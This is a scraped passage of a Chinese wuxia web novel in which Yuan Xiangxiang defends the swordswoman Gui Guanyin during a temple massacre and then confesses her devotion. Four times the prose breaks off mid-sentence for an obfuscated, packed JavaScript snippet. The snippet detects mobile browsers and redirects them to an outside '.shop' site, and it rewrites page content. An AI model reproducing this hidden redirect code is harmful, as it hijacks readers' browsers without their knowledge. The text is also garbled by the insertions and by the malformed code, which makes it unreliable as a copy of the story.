“小心!”有一个温和好听的声音忽然从心底窜起,她还没来得及反应,眼前瞬间绽出一片血红,随后身体就沉沉砸在了地面之上。 她觉得天上落下了滚烫的雨。 那雨,烫得她不敢睁开眼。 “湘……湘。”有个人趴在她的身上,将她护在身下,“原姑娘,你……还没有跟我一决高下,可不能就在这里死了。” 裴玉珠一只眼睛被血覆盖,另一只眼睛勉勉强强睁开。 他看着原湘湘紧皱的眉眼,又看看她完好的身体,心里翻到泛起甜甜的涟漪。就好像品到了一碗好茶,即便身受重伤,那其中滋味也足以让他忘却所遭受的一切。 原湘湘睁开了眼睛,她将裴玉珠的右臂绕过自己的肩颈,而后慢慢撑起了他。 裴玉珠的另一边,是空荡荡的袖管,他的左臂已经被咬断,血液顺着伤口淅淅沥沥砸落在地面上。 “小玉!”李源知赶来,一把将原湘湘推了开去,不待裴玉珠反驳,他就已经开始给裴玉珠包扎伤口。 原湘湘阴沉着脸,慢慢踱步着,她将手伸到了腰后。 远处是被澄明和玄空压制不得脱身的鬼观音;眼前,是口中衔着一只手臂的玄同。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685490|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那只断手被玄同咬在口中,无数红雾从玄中断裂的脖子里涌出,而后那些细丝一半的红雾将断肢与玄同的头颅紧紧包裹,众人只见那团红雾中发出断裂的声响,十有八九都投过去惧怕的目光。 “铮。” 微不可查的一声轻响,那是刀剑出鞘的声音。 眼前的红雾愈发浓艳,玄同的头颅也逐渐暴露,他原本已经断裂的脖子又重新长满了血肉,可是,新的血肉也在不断的溃烂,往下流着脓血,掉着碎肉。 啪嗒,啪嗒。 场中不少人开始呕吐 场中众人正在为血蛊之时惊惧不已之时,他们只听见呼呼风声,随后银光大放,一个身着红衣的少女持刀落下,一击殒命,玄同的脑袋便与身体分了家。 溃烂断裂的伤口再也无法愈合,鲜血如雨喷出,红衣的少女木然看着眼前一切。 刃光映着火光,光怪陆离,层叠交错。 “义父!”有人痛声呼唤。 不依此岸,不著彼岸,不住中流,而度众生有无休息。 前夜山间忽起大风,搅得山间岚烟飘渺,雾气迷蒙。 寺里晨钟响起时,周遭还笼罩在一片黑色之中,直至晌午时,才露出些许黯淡的日光来。 二月十二,下夜。 署境阁内亮着一盏灯——是方丈玄空的禅房。 木窗大开着,明黄的烛光透过窗口在院中映出几块斑驳的光斑,偶有树影掠过时,山风轻起,叶叶相接。 禅房的正堂处,方丈玄空正盘腿坐在禅垫上,闭目不言,似是一座饱经风霜打磨的千年古佛像。 窗外风起叶响,风声经过他的耳畔时,才见他的耳畔稍稍一动,继而便睁开了那双沧桑而又略显浑浊的双眼。 “来了便进来吧。”他缓缓说道。从他苍老的声音里隐约可以听出沉重的疲惫。 很快便响起“吱呀”的开门声,顷刻间就融在了屋外哗哗作响的风声里。 ——从外面进来一个年轻清瘦的灰衣和尚。 “师父……”澄明小声说着,隐隐有些不安。 “今日是什么时候了?”玄空方丈问道。 因着摸不清他为何这般发问,澄明反倒有些乱了气息:“二月十二,应是二月十三。” “那后日就是二月十五了……”玄空莫名慨叹一声,浑浊的眼光便移向了禅房内室。不多时,便听得那沧桑的声音似是诉说似是感叹,隐隐又有几分不可捉摸的悲伤:“倥偬已逝二十年,天尚不明未见光。” 他又回忆起那年,早春的雨夜,一身泥浆破衣的他,带着澄明跪在大门前,身上没一处好皮,澄明眼里俱是惶恐不安,而他也是也是虚弱不堪。 夜,是浓稠得化不开的黑色。 二人就这样在门口等了一夜。 玄空似是独自慨叹,可站在他身后的澄明却截然相反。只见他一改刚刚进门时的不安,脸上现在尽是不满。 澄明沉声道:“义父这又是何意?” “我佛要我慈悲。” “那谁又对我们慈悲。”语气平淡,可言辞之间尽是质问与不甘,“你难道是后悔了吗?” 玄空缓缓转过身,浑浊的双眼将澄明扫视了一番,便又道:“几经萧索,家国离落;回首无处归,半生已为鬼……我也和那鬼一模一样了。” 说罢,玄空便重重地闭上了眼睛,眉目紧皱着。 澄明立在他的对面,看见义父这般回应,又见他的双手始终收拢在宽大的衣袖内,便懂了几分。 “这便是师父的回应吗?”他沉沉点着头,有怒却又不敢发作半分:“不能成佛,已然为鬼,那便是无路可退。” 20.奈何魂销骨,寸寸相思苦 明月在天,红莲地走。 风声,哭声,打杀声,不绝于耳。 原湘湘一刀斩下,倾尽全力,一发惊人,迸射而出的头颅和身体飞出丈把远,溅出的血花犹如漫天大雪,簌簌而下。 澄明撕心裂肺地扑过来,这一次,他没有去攻击他的杀父仇人,他只是静静地抱住养父的头颅,然后将那颗早已面目全非的头,轻轻放在断掉的脖颈之上。 断裂的伤口里还在渗着血,玄同尸首下的土地被染成一片粘稠的黑色。 澄明跪在玄同的身边,他深深地垂着头,手中死死攥着一只金钗。 这是他在玄同身上找到的唯一的遗物。 是那对师兄妹送来却没被认出的遗物。 澄明伏在地上,身上衣物破碎,周身血迹斑斑,脸色阴寒,形如厉鬼。 他怔怔看着眼前这只金钗,脑中却不自觉眩晕起来。 云儿。 云儿。 韩云! “唔啊啊啊啊啊——”他忽然抱头痛哭,歇斯底里的叫喊直叫众人心惊胆颤。 “你!你们从哪里得来的我娘的遗物!”澄明起身,死死盯着原湘湘,“快说!” 他的脸色阴寒,可眼中却不住地涌出泪水,愤怒,痛苦,悲伤,绝望,一起涌向了他。 原湘湘木然看他一眼,脸色如同万年冰霜。 她从未见过此物,又如何回答的上来? “不说是吧!那就去死吧!”他愤怒着大吼一声。 金光像星辰一般在她的眼前闪烁,原湘湘知道被刺中即便不死,也得脱层皮。 澄明扑伸而来,此刻他已经失去了理智,就像是一个气急败坏的小孩,冲着嚷着扑上去,要把金钗戳进原湘湘的喉咙里。 她本能地想逃,可是身体却像是被灌了铅一般沉重无比。 澄明将原湘湘扑倒以后,跨坐在她的身上,双手抓着金钗死死地要捅进她的喉咙,原湘湘全身经脉剧痛,一时失了力气,只能勉强伸出两手挣扎阻挡。 两人瞬间扭打在一起,你一拳我一掌,谁也不相让。 旁边是被玄空方丈苦苦拖住的鬼观音,另一旁也是还没反应过来的江湖众人。 澄明握起拳头,猛然下砸,拳头带起的利风却只擦过原湘湘的耳面。原湘湘及时转头,躲过澄明一记勾拳。 一拳未中,一拳又起,他挥起拳头,“格”的一声,砸在了原湘湘的肋骨上。 下方的原湘湘只觉咔嚓一下,胸膛一阵剧痛,她不由得全身弓起,冷汗如瀑。她的双目放大,瞳孔也失去了光彩,一对眼珠几乎快要从眼眶里瞪大掉出来。 “快吐出来!” “小畜生!快吐出来!” “再不吐出来,我就杀了你!” 霎时间无数拳脚暴雨般砸在她的身上。 她的脑中,耳中,轰然作响,好似电闪雷鸣。 原湘湘瞪大着眼睛,死死盯着眼前,下唇早已被牙齿咬得鲜血淋漓,血肉模糊。 “小畜生,我杀了你!” 对面那人奋力一声,举起手中一物朝着原湘湘的面门刺过去! “咔锵!” 原湘湘看见自己眼前一阵血红,随后粘稠而滚烫的雨滴滴落在她的脸上,又顺着她的眼眶、鼻尖流进她的口中。 她看见金钗穿透了一只手,鲜血顿时涌出。 那只差点刺中她面门的金钗刺中了一人的掌心,被生生挡了下来。 “滚开。”她的身边有个陌生又熟悉的声音冷冷骂道。 与之同时,她觉身体霎时如同飞入云端,变得轻盈起来。不容多想,她立时沉腰飞出一腿,和身旁另一人将跨坐在自己身上的澄明踢飞。 “你……”原湘湘看着身旁那个日思夜想的人,突然间说不出话来。 鬼观音顺势拨开原湘湘,原湘湘不得不连连后退。 不待她喘息片刻,就见玄空方丈已然扑来,此时鬼观音正好挡在原湘湘身前,玄空运足掌力,一掌正中鬼观音心口。 原湘湘听见一声沉闷的撞击声,甚至还有骨头断裂的声音,鬼观音已被玄空一掌重伤。 已经接连受了玄空三掌,昔日如同九天玄女下凡尘般的婉约美丽之人,如今只能勉强撑住身体,她的衣袂粘满了俗世的灰尘和血污。 另一旁身负重伤的澄明却微微扬起嘴角。 玄空腾空而起,迅如闪电,大罗变化之掌在空中留下道道残影,掀起阵阵狂风,四周火星溅射。 阆天塔已然即将崩塌。 就在场中众人都心惊胆颤着无法反应的同时,众人却见鬼观音拔出插在自己手中的金钗。 她将那金钗缓缓掷向了空中。 雕镂精致的衔凤钗抛掷空中的那一刻,仿佛时间静止一般,金色的钗身伴着四溢的血珠,绽放出诡异的光芒。 可更诡异的却是,本来已经可以一掌让鬼观音毙命的玄空方丈却忽然停住了脚步。 他收起大罗之掌的变化攻势,稳稳地接住了那只金钗。 “怎么回事?”王岳生率先疑问。 北高南远野鬼哭,云雨巫山一念中。 奈何孤魂销吾骨,寸寸相思无限苦。 场外众人一头雾水,终是一句话也说不上来,脑袋低垂着,犹如枝头的风中秋叶,平添几许悲楚孤寂。 玄空方丈的白须被火风高高扬起,空洞木然的眼睛也终于恢复了些许神采,他环视周围众人,那双苍老的双眼终是停在了鬼观音身上。 火声萧萧,红莲灼灼,被淹没在烈火中的高大恢弘的琉璃佛像显露的半张脸,如今早已斑驳不堪。 “此番了了,皆是奉国寺之过错。庄周梦蝶,蕉叶覆鹿,慨叹一声,恍若如梦。”他怔怔站在原地,看着眼前的一切,蓦然叹息一声,道:“有劳你了。” 说罢,他便化作一道黑影行至鬼观音身前,伸出两指点了鬼观音的穴道,动作之快,几乎无法被常人分辨。 众人一片哗然,再次回过神时,只见玄空方丈淡然地走进即将崩塌的阆天宝塔中。 “……唔!”鬼观音运劲强破玄空点下的穴道。 周遭再一次死寂之中,春夜深寒,山间谷风乍起,在场众人如堕五里雾中。 本就只是参加一场试剑大会,却不料突遇命案,试剑大会变成诛杀大会;就在众人同仇敌忾之时,半途又杀出一真一假两个鬼观音与奉国寺方丈;前有冤死命案,后有前朝贼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690591|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,而今真假已分,看似真相已水落石出,可他们却根本不知前因后果。 “你们都走吧。”众人皆在惊诧之时,鬼观音重又站立起来,孤鸿早已回归她手。 眼见孤鸿剑再入鬼观音之手,众人眼下又内力尽失,比之夺剑,他们更担心是否会因为先前的所作所为,而被鬼观音记恨在心,杀人灭口。 又或者鬼观音已被玄空重伤,此时不夺剑更待何时? 这边一群人还在心中各自盘算,鬼观音已将手中的孤鸿剑打量了片刻,因着幕篱看不见她的神情,只是一个瘦高疏离的人立在那方天地里,遗世独立。 “现已物归原主,冤屈洗清,我就不多多作陪了。”说罢,鬼观音起身便要离去。 夜间风起,月色清寒,红莲陡绽,众人耳畔响起一声刺耳的清鸣,那声音好似白鸟振翅的一瞬,只可惜,那鸟,就此折断了双翅。 一抹素色,就着一缕红丝忽然坠地。 “鬼观音!我死都不会放过你!”空旷的夜里回荡着少年撕心裂肺的恸哭,他潜伏在一旁许久,就待这松懈的一刻,内力尽失又如何?失去一臂又如何?筋脉尽断又如何? 只要还要一口气,杀父杀母之仇不可不报,灭族灭门之恨不能不清! “一十六门惨死的家人们,我终于做到了!”裴玉珠单手紧握剑柄,剑身狠狠地刺进鬼观音的胸膛。 没人知道他是何时清醒的,更无人知道他是何时出剑的,一个内力尽失的少年人,仅凭着一口气,刺中了他最想见的那个人,终于刺进了那个人的胸膛。 地面沙沙作响,满身伤痕的裴玉珠缓缓抬起断腕,夹着剑身,牙关紧咬,他的嘴角已被撕裂,鲜血横流。 那剑缓缓前进,血红的刃从鬼观音的心口穿出,鲜血滴滴坠地。 白刃染血,孤鸟坠地。 鬼观音闷声吐出一口血,单膝跪在了地上,跪在了裴玉珠的面前,若不是还有孤鸿在手插进地面,她恐怕早已跪倒在地。 “你……”咫尺之近,原湘湘忽然好像失去了神智,原先锐利灵动的双眸失了色,空空望着鬼观音颓然倒下,“你……你!” “纳命来!!鬼观音!” 人群中忽然响起一声冷喝,紧接着一股内力震开,一道冷光直逼鬼观音后脑而去! 铮—— 又一声清响,很快便剑刃四分五裂的细碎声响起。 只见红衣的少女手执一柄短刀横在冷光前,那光便四分五裂了。 裴玉珠悲痛,道:“原姑娘,为什么?” “原姑娘,休要阻挠我一十六门后人报仇。”来人正是李源知,他的剑已碎,但他依旧可以轻而易举地取走原湘湘性命。 只听李源知咬牙切齿道:“原姑娘,鬼观音是我一十六门的灭门仇人,我和小玉当年侥幸活命,这些年来,活下去的唯一动力就是为了有朝一日能手刃仇人,此仇不能不报。” 原湘湘凝着眉,紧紧注视着李源知,依旧一声不吭。 她知道,她什么都知道,灭门之痛有多痛?她怎么会不知道这种痛楚呢…… 心脏仿佛被紧紧扼住,让她不得呼吸,一道一道的抽痛席卷全身,两行清泪从原湘湘的眼中滑下。 21.世人皆恨,唯我只爱 “原姑娘请你走开,刚刚的一切,我会当作什么都没有发生。”李源知警告道。 裴玉珠手中还勉强握着那剑,纵然周身疼痛难忍,他还是奋力将那剑刃又往前推进了一分。 鬼观音吃痛,身形不稳起来,胸前的白衣已被鲜血浸透。 原湘湘听见身后之人呜咽忍痛之声,手中的短刀握得更紧。 少年见鬼观音毫不还手,原湘湘一声不吭,一时气急,痛哭着拔出了长剑,口中一啐,染血的长剑滚落在地。 “你为什么不还手?”裴玉珠嘶声质问,道,“你为什么不还手?” “原姑娘,此人心如恶鬼,不想死就快点让开!还是说,你想护着她,跟我和小玉……乃至天下为敌吗?”李源知又一次警告道。 原湘湘目如寒潭,紧咬牙关,瞪着眼前之人。 “原姑娘……鬼观音!”在旁的裴玉珠早已看清了一切,他颤颤巍巍的身体几近力竭,全凭一股恨意撑到现在。 裴玉珠一声惨叫,李源知当即飞身上前! “你们都当她是恶鬼!可只有她才是我的观音!”少女一声哭喊,冷冽坚韧,她在向世人宣告自己的所有权。 她不知,在她出声的那一瞬,被她护在身后之人,竟然乱了呼吸,身影微颤。 她腕间回转,一缕清风掠过,雁栖的剑柄横亘破空,就已把李源知震出几丈外。 “鬼观音,原湘湘……”李源知瘫坐在地上,捂着胸口,嘴角渗出血丝,眼神阴骘。 “原……”裴玉珠眼睫低垂,血泪涌然而下,沉沉倒地不醒。 几乎就是在裴玉珠和李源知倒下的瞬间,在场众人才反应过来究竟发生了什么。王岳生和苏叶率先跃出,直奔鬼观音而来。 王岳生知道,鬼观音身负重伤,此时不下手更待何时? 苏叶脾气火爆,嫉恶如仇,她看不惯这些,要出手替裴玉珠和李源知出口恶气。 原湘湘看见那二人提剑而来,可她早已没了力气,眼瞳浑浊,几乎聚不起半分清明,在意识脱离的最后一瞬,她感觉到后背一阵暖热,自己稳稳地落在了一个温暖的地方。 像是盘结的蛛网稳稳接住了坠落的蝶,蝶的周身荡漾一圈,又将黑色的蜘蛛震出网外。 王岳生和苏叶持剑而来,千钧一发之际,他们看见原湘湘的一只手贴近鬼观音的胸膛,然后鬼观音便被掌劲推出十数尺,激起尘灰四散。 原湘湘的那一掌已然用尽了全部的力气,鬼观音早前被裴玉珠刺穿胸膛,现在又被原湘湘一掌震出,众人只见她一手勉强撑着孤鸿,一手捂住不断流出的鲜血的伤口。 “就是现在!”王岳生大喝一声,围观的众人蜂拥而上,“我倒要见见你的真面目!” 苏叶快速收了剑势,回到原湘湘身旁,将她扶了起来,速速退出。 王岳生执剑而来,身后跟着无数武林中人,只待一剑将鬼观音毙命。 “妖女!今日便是你横死在此!”王岳生招招皆攻向鬼观音要害。 鬼观音因为重伤身形凝滞,眼见着王岳生的剑光快要淹没鬼观音—— 无数剑光被全部弹开! 轰隆! 高耸的阆天塔从底部开始轰然崩塌,霎时间,无数碎木,火焰纷纷砸落下来。 “快退下!”王岳生伸手拦住赶来的众人,“不想死的就退下。” 阆天塔已然摇摇欲坠,塔上的金铃在火风中发出刺耳的震响,王岳生只觉心间一颤,眼前掠过一道修长的倩影,就见鬼观音持剑跃入阆天塔中。 “孤鸿剑!”他失声叫道。 轰隆隆!爆炸声接连响起,红莲烈火伴着浓烟滚滚冲天,将孤月一轮遮掩得严严实实。 “怎么办?她逃进了阆天塔中。”李源知赶到王岳生身旁,冷冷道。 王岳生不得已捂着鼻子,眉间浓云紧锁,道:“火势这般大,我们此刻也不能进去,等熄灭后再做定夺。” 李源知点头应道:“总之,活要见人死要见尸。” 阆天塔上的火舌随风四处蔓延,滚烫的火风几乎能将身上的皮肉炙烂,众人纷纷掩鼻后退。 此时,在团团滚起的浓烟里,众人看见一抹俏丽明亮的红色逆风而行,那一抹小小的火焰,随着塔上不断崩落的火焰,转瞬消失在阆天塔中。 原湘湘自己也不清楚为什么会跟着鬼观音进来。 她就是这种身体先于大脑的人。身体开始摇晃起来,强行运力导致筋脉断裂的痛苦伴随着滚烫的热浪逐渐侵蚀着她,呛进鼻喉中的烟雾让她呼吸几乎停止。 从里到外,从上到下,就像无数尖利的银针齐齐刺进她的骨肉里。 “哈啊…”原湘湘终于支持不住,瘫坐在地上。 豆大的汗珠滚落,身外是滚烫的炙烤,身内却是冷如寒冰的剧痛。 终于,她倒地不起了。 阆天塔已然即将崩塌,塔内的木制结构如同鱼鳞一般层层掉落,滔天的火舌舔舐着她的皮肤。 最终,原湘湘力竭倒地。 慢慢地,从炽热的火焰中走出一个满身血迹的白衣人——正是鬼观音。 她走到原湘湘的身边将她抱在怀中,身形一闪,塔中的琉璃佛像便开始缓缓转动,露出一个出口来,鬼观音便带着原湘湘消失在一片火海中。 渴。 全身就像被银针刺穿一样,彻骨的疼痛碾了过来,皮肉在滚烫的石板上炙烤,不断地发出滋滋响声。 如果有水就好了。她这样想着。 果不其然,冰凉的水就来了。 原湘湘梦见自己抱着一个冰凉的瓶子大口灌下,那瓶子荧白如玉,约莫如人的一只手臂般大小,从瓶口处涌出的水似乎源源不断,她喝了个痛快。 最后还不忘攀附而上,嘴唇与瓶口紧密相贴,似水乳一般交融,柔软的舌尖与瓶口的冰凉辗转厮磨着,她忘情地舔尽最后几滴。 饮下水后,莫名有一股热力从背后升起,仿佛沐浴在温泉之中,那股热力顺着脊背慢慢扩散至四肢,中途流经四肢百骸,将全身上下的血肉筋脉全部温养了一遍。 她猛然睁开眼! 扑面而来的就是云团一样的白色。 脑后是温温软软的,等她意识到自己正枕在鬼观音的腿上时,她瞬间就红了脸。 “你醒了?”鬼观音问她。 原湘湘虽然看不见她的脸,但那流畅分明的下颌实在是无法让她移开视线。 “嗯。”她老老实实回答,眼睛一刻也不想闭上。 鬼观音又问:“还疼吗?” 原湘湘摇摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695271|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 此时如果有人看见原湘湘,一定难以想象一向面无表情的她,此时眼睛是如何的温柔似水,乖巧腼腆。 “你这把刀是从哪里来的?”鬼观音横手而过,雁栖正被她握在手中。 原湘湘愣愣看着,一时之间竟然不知如何是好。 一边是千叮咛万嘱咐的铁匠师父,一边是自己梦寐以求的人,她感觉就像是走在一根横跨悬崖的绳子上面。 风吹得她摇摇欲坠,往前不是,往后也不是。 她缓缓从鬼观音的腿上起身,盯着鬼观音的手,和雁栖。 那个人的腕间不知为何多出好几道狰狞的伤口,虽然血已经止住,但从残留的长度来看,一定是用极为锋利的刀刃划烂的口子。 “你……”原湘湘担忧地看向她。 鬼观音也随之起身,道:“这刀好好收着,不要轻易暴露在外。” 铁匠师父也说过类似的话。 “好。”她相当乖巧地点头应下,“你又救了我。” 鬼观音起身走在前,原湘湘跟随在她的身后。 阴暗潮湿的地下暗道中只有她们二人穿行的脚步声。 原湘湘环视周围,发现此处似乎年代久远,青砖筑成的地道犹如迷宫一般,墙壁上每隔五丈便会出现一盏陈旧油灯。 “这里还是奉国寺?”她不禁脱口而出,“似乎经常有人来。” 鬼观音忽然止步,原湘湘一个踉跄险些撞到她的后背。 还好还好。原湘湘在心里庆幸着。 “不错。”鬼观音回身望着原湘湘,“你从哪里来?” 原湘湘一听她在问自己来及,便想也不想道:“我从山里来。” 她没说错,她就是住在小山村里的。 面前那个如同画中来的美丽之人似乎怔愣了一瞬,便听她道:“那你为什么要跳进火海里?你不知道进来了会死的吗?” “我知道。”原湘湘正色沉声,“其实,我也不清楚……我见你进来了,所以我也就来了,我就是为了你才来的。” 她一时之间无法控制,便一股脑儿将心里想到的话全都说了出来。 鬼观音没有立刻回答,原湘湘的心,如同敲鼓一般。 鬼观音的一身白衣遍布血迹,孤鸿被她握在手中,割断的幕篱依旧将她的脸遮得严严实实。 她垂着头,居高临下地望着原湘湘。 原湘湘抬起头,奋力仰视着这个一直在自己梦中停留了十年之久的人。 二人静静不说话,此时此刻,唯有灯火阑珊。 “你找我何事?”鬼观音不知为何语气忽然柔和了许多,“你可知,外面都说我是无恶不作的魔头,杀人饮血的妖女,跟着我,你就不怕……” “我不怕!”原湘湘忽然情绪激动,“我知道那些都是谣言,都是假的!” 鬼观音略一迟疑,她藏在宽大衣袖下的手紧紧握住孤鸿,指节失血泛出白色。 原湘湘忽然想到,这个人这么说,怕是在赶客。 她奋然冲上去,朗声道:“我知道世人都说你是吃人喝血的妖女,可在我眼中,你就是我的观音,我就是为了你而来的!” 她惊声的告白回荡在地道之中,阑珊灯火,闪跃不定。 有人的呼吸逐渐急促,逐渐加重。 22.头硬如铁湘湘炽烈告白(上) “我就是为了你而来的!” 空荡的地道里久久回荡着原湘湘的惊人告白,那声音大到她本人都在心惊肉跳。 深埋在心中十年的话,终于是藏不住了吗? 对面的鬼观音似乎不为所动,她轻声一笑,反问道:“为了我?为了我什么?观音血?孤鸿剑?” 江湖中谁人不馋观音血?谁人不想要孤鸿剑?不老不死,天下第一,那是多少人心中的夙愿? 原湘湘忽然意识到自己当时绞尽脑汁才想出来的理由:拜鬼观音为师,这样就能名正言顺、长长久久地把她留在自己身边。 其实跟那些只想从鬼观音身上获取利益的人没什么两样。 原湘湘,你也是个自私鬼!她这样在心中骂道。 地道前方涌来一阵冷风,原湘湘先是闻到一阵好闻的香气,很快又不自觉皱起眉头来。 前面,涌来一股浓烈的血腥气。 她握紧了手里的雁栖,不禁隐隐担忧起来。 通道两旁的火把明灭不定,冷风阵阵,她紧跟在鬼观音身后,穿过数个转角后,她们来到了一处空荡的地下暗室。 这里没有燃灯,只能借助身后微弱的灯光见得此处面积不小,刺鼻的腥气让她几乎不能呼吸,胃中莫名泛起一阵阵酸意,几乎令人窒息的恶心萦绕在心头。 她们的面前是以前深不见底的黑暗,耳边除了风声,似乎还有极为微弱的呼吸。 原湘湘能肯定,那呼吸绝不是自己和鬼观音的。 她习惯性地上前查探,才刚刚抬手,她的动作便不得不停止。 她被一只细长的手拦胸挡住。 “别过去。”鬼观音低低喝道。 原湘湘顺着她修长的手臂,目光缓缓上移,看见鬼观音胸前的衣裳依旧被血濡湿着,她半晌说不出话来,只好乖巧点头。 鬼观音踏步轻移,仿佛游鱼入水一般,染血的白衣顷刻间就融化进了前方深不见底的黑暗里。 “你还是来了。”黑暗中响起一个老者疲惫的轻叹,“真是一如既往地不听话啊。” 那老者话音刚落,暗室四周顿时刮过一阵冷风,紧接着“唰唰”数声利响,暗室四周和顶端的烛火纷纷点亮,偌大的地下空间彻底暴露出来。 这是一个足以与奉国寺大雄宝殿相媲美的地下宫殿。左边墙壁上遍布浮雕彩绘,或是百兽群奔,或是雀鸟腾飞,又或是云霞满天,呈现一派欣欣向荣之景。 原湘湘注意到彩绘的最中央部分,刻着一个极其美丽优雅的巨大的飞天神女形象。 那神女双眼紧闭,衣袂飘飘,手持玉瓶从天而下,画面中还有滴滴雨露状的红色从瓶中飞出,那些红色雨露遍洒整个天地,故而先前一片百草丰茂的景象皆有神女赐予所得。 右边的墙壁中央刻着一个高大英武的男子,那男子一身玄色龙纹冕服,头戴玄色十二旒,手持长剑,端坐于王座之上,他的脚下皆是无数手持武器的各式武将立在身侧。 原湘湘看得很仔细,那英武男子的身后,也端正立着一位手持玉瓶的美丽女子。 大殿的正中央,原本该供奉着释迦摩尼佛祖像的地方,摆着一尊外形极为美丽,衣带飘飞,栩栩如生的持瓶仙女像。 这殿中壁画和雕塑中出现的所有人物无不被一片白纱覆眼,所有人都不得见光。 这正是一处长生天玄女殿。 原湘湘看着眼前的一切,腹中的恶心愈发强烈起来,她的眼前也开始出现无数幻象,头晕目眩,以至于她不得不伸手去扶墙。 可是,当她的手触碰到墙壁的那一瞬时,她竟然无法自已地喉间涌出一声痛苦的惊呼。 “啊!”原湘湘颓然跪地,她双手扶着头,几乎头痛欲裂。 墙壁上湿淋淋的,一片鲜红,全是血。 “你还多带了个人来。”盘腿坐在玄女像下方闭目凝神的玄空慢慢道来。 他与鬼观音同时看向痛苦不已的原湘湘。 “还是个能从里面活下来的孩子,真是难得。”染血的白须翕动着,玄空的嘴角泛起淡淡笑意。 鬼观音缓缓收回目光,道:“我没想到你会做的这般彻底。” 玄空释然一笑,他抬头望向头顶上方的玄女像,栩栩如生的石像衣带飘飞旋舞,手中持瓶洒露,她两目被覆,不得见光。 他的眼中两行清泪戛然而下:“你就当我年纪大了,头脑不灵光了,也像年轻人一般冲动了,最后为他做件事,也是我这么多年欠他的。” 玄空慢慢闭上双眼,他把右手缓缓从心口处移开,手中满是鲜血,那根衔凤金钗赫然插在他的胸膛中。 “过来杀了我!”他忽然怒斥一声,“这也是我为你应该为你做的。” 四周的墙壁开始摇晃起来,上方仿佛发生山体塌陷一般,无数重物砸在暗室顶部。 玄女殿顶部在开始摇摇欲坠,墙壁上悬挂的灯火烛台一一落下。 原湘湘强忍着头痛和恶心勉强起身,她要过去问个明白。 这里到底是怎么回事?不是已经都死了吗?为什么奉国寺中还会有玄女殿的存在! 剑光起,玄女落。 鬼观音长袖翻飞,一跃而起,手中孤鸿一声铮鸣,便见长刃径直刺进玄空的胸口。 剑刃滑破皮肉的声响,声声在耳。 鬼观音翻手一拧,孤鸿旋而刺进更深,玄空大师胸前的衣物被鲜血浸得更湿。 只见他敞开怀抱,赫然笑道:“比之于你,如何!” 话毕,手中佛珠与胸前金钗一并落下。 鬼观音正欲抽剑而出,突然眼前冷风扫过,喉间传来剧痛,颈骨几乎都要被生生捏碎。 玄空大师突然双目赤红,如同被夺舍一般,他猛然伸出一只手,手指如铁钩一般紧紧握住鬼观音苍白的脖颈。 鬼观音痛苦地昂起头,发出低低的喘息,胸前的血迹濡湿的更多,大片大片的血花在她的胸前绽放。 原湘湘原本头痛不止,甫一抬头便见鬼观音的脖子被玄空钳在手中,眼见随时都有可能被拧断脖颈,原湘湘不知道哪里来的力气,她手间刀光一闪,如兽一般狂行而过! “嚓!” 刀刃劈尽皮肉,继而砍断骨头,玄空钳住鬼观音脖子的手臂已被原湘湘从小臂斩断。 鲜血喷出,原湘湘脸上鲜血淋漓。 “你放开她!”原湘湘顿时扑了上去,她瞪着玄空嘶吼,俨然一只发了狂的小兽。 玄空断掉的小臂还紧紧抓在鬼观音的脖子上,原湘湘见还没救下鬼观音,她正欲再挥一刀而上,右手却像被蛛丝般的红雾缠上了一般,难以动弹。 她低头一看,无数细密的血雾仿佛活物一般,挣扎着,扭动着,攀附上她的手臂。 “快走开。” 她正慌乱间,耳畔传来鬼观音微弱的声音,而后那人长手往外轻轻一拂,如同清风掠过一般,便把原湘湘推出血雾笼罩的范围之外。 “我!”不走。 这一声话还未完,只见鬼观音已将孤鸿从玄空心口抽出,孤鸿剑尖悬着点点鲜活的血肉。 上方的阆天塔似乎已经彻底倒塌,无数塔身结构轰然倒塌砸下,地底的暗室剧烈地摇晃起来,四面墙壁上的壁画彩绘纷纷碎裂坠落。 已被鬼观音重伤的玄空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704837|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然跃起,他用仅剩的一只手并指成刀,直接刺进鬼观音的胸膛! 